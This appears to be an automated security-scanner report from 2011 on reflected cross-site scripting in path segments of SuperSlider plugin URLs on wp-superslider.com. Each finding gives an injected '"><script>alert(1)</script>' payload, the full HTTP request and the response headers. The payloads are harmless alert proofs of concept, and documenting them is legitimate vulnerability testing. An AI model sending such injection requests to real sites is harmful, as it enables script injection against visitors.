HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:50 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674570+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674570; expires=Thu, 02-Feb-2012 19:22:50 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:50 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53449
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 479a5"><script>alert(1)</script>22d092f232f was submitted in the REST URL parameter 5. This input was echoed as 479a5\"><script>alert(1)</script>22d092f232f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-show/plugin-data479a5"><script>alert(1)</script>22d092f232f/superslider/ssShow/lightbox/lightbox.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:52 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674573+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674573; expires=Thu, 02-Feb-2012 19:22:53 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:53 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53449
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0d53"><script>alert(1)</script>fd42f611c98 was submitted in the REST URL parameter 6. This input was echoed as a0d53\"><script>alert(1)</script>fd42f611c98 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-show/plugin-data/superslidera0d53"><script>alert(1)</script>fd42f611c98/ssShow/lightbox/lightbox.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:54 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674575+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674575; expires=Thu, 02-Feb-2012 19:22:55 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:55 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53449
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eca9c"><script>alert(1)</script>1f4a2f0771d was submitted in the REST URL parameter 7. This input was echoed as eca9c\"><script>alert(1)</script>1f4a2f0771d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-show/plugin-data/superslider/ssShoweca9c"><script>alert(1)</script>1f4a2f0771d/lightbox/lightbox.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:58 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674578+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674578; expires=Thu, 02-Feb-2012 19:22:58 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:58 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53449
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 367d7"><script>alert(1)</script>a6f2c5f9e26 was submitted in the REST URL parameter 8. This input was echoed as 367d7\"><script>alert(1)</script>a6f2c5f9e26 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-show/plugin-data/superslider/ssShow/lightbox367d7"><script>alert(1)</script>a6f2c5f9e26/lightbox.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:59 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674579+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674580; expires=Thu, 02-Feb-2012 19:23:00 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:00 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53449
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 9 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e566"><script>alert(1)</script>d02d1ba07b1 was submitted in the REST URL parameter 9. This input was echoed as 1e566\"><script>alert(1)</script>d02d1ba07b1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-show/plugin-data/superslider/ssShow/lightbox/lightbox.css1e566"><script>alert(1)</script>d02d1ba07b1 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:01 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674581+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674582; expires=Thu, 02-Feb-2012 19:23:02 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:02 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53449
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d8eb"><script>alert(1)</script>9e15b3b1081 was submitted in the REST URL parameter 1. This input was echoed as 1d8eb\"><script>alert(1)</script>9e15b3b1081 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site1d8eb"><script>alert(1)</script>9e15b3b1081/wp-content/plugins/superslider-slimbox/plugin-data/superslider/ssSlimbox/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:22 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674542+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674542; expires=Thu, 02-Feb-2012 19:22:22 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:22 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53460
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a721"><script>alert(1)</script>4e05a494985 was submitted in the REST URL parameter 2. This input was echoed as 3a721\"><script>alert(1)</script>4e05a494985 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content3a721"><script>alert(1)</script>4e05a494985/plugins/superslider-slimbox/plugin-data/superslider/ssSlimbox/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:23 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674544+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674544; expires=Thu, 02-Feb-2012 19:22:24 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:24 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53461
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24702"><script>alert(1)</script>57503f72f04 was submitted in the REST URL parameter 3. This input was echoed as 24702\"><script>alert(1)</script>57503f72f04 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins24702"><script>alert(1)</script>57503f72f04/superslider-slimbox/plugin-data/superslider/ssSlimbox/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:25 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674545+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674545; expires=Thu, 02-Feb-2012 19:22:25 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:25 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53461
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c140b"><script>alert(1)</script>1f6a60dc002 was submitted in the REST URL parameter 4. This input was echoed as c140b\"><script>alert(1)</script>1f6a60dc002 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-slimboxc140b"><script>alert(1)</script>1f6a60dc002/plugin-data/superslider/ssSlimbox/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:27 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674547+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674547; expires=Thu, 02-Feb-2012 19:22:27 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:27 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53461
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7c08"><script>alert(1)</script>ae9dcdd351a was submitted in the REST URL parameter 5. This input was echoed as d7c08\"><script>alert(1)</script>ae9dcdd351a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-slimbox/plugin-datad7c08"><script>alert(1)</script>ae9dcdd351a/superslider/ssSlimbox/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:28 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674549+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674549; expires=Thu, 02-Feb-2012 19:22:29 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:29 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53461
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c4ae"><script>alert(1)</script>c312e4104fa was submitted in the REST URL parameter 6. This input was echoed as 7c4ae\"><script>alert(1)</script>c312e4104fa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-slimbox/plugin-data/superslider7c4ae"><script>alert(1)</script>c312e4104fa/ssSlimbox/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:30 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674551+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674551; expires=Thu, 02-Feb-2012 19:22:31 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:31 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53461
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c3335"><script>alert(1)</script>80926a060b5 was submitted in the REST URL parameter 7. This input was echoed as c3335\"><script>alert(1)</script>80926a060b5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-slimbox/plugin-data/superslider/ssSlimboxc3335"><script>alert(1)</script>80926a060b5/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:32 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674553+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674553; expires=Thu, 02-Feb-2012 19:22:33 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:33 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53461
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9eca7"><script>alert(1)</script>5a311d7dae7 was submitted in the REST URL parameter 8. This input was echoed as 9eca7\"><script>alert(1)</script>5a311d7dae7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-slimbox/plugin-data/superslider/ssSlimbox/default9eca7"><script>alert(1)</script>5a311d7dae7/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:35 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674555+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674555; expires=Thu, 02-Feb-2012 19:22:35 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:35 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53461
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 9 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fbe4c"><script>alert(1)</script>dc71eef9483 was submitted in the REST URL parameter 9. This input was echoed as fbe4c\"><script>alert(1)</script>dc71eef9483 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-slimbox/plugin-data/superslider/ssSlimbox/default/default.cssfbe4c"><script>alert(1)</script>dc71eef9483 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:40 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674560+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674560; expires=Thu, 02-Feb-2012 19:22:40 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:40 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53461
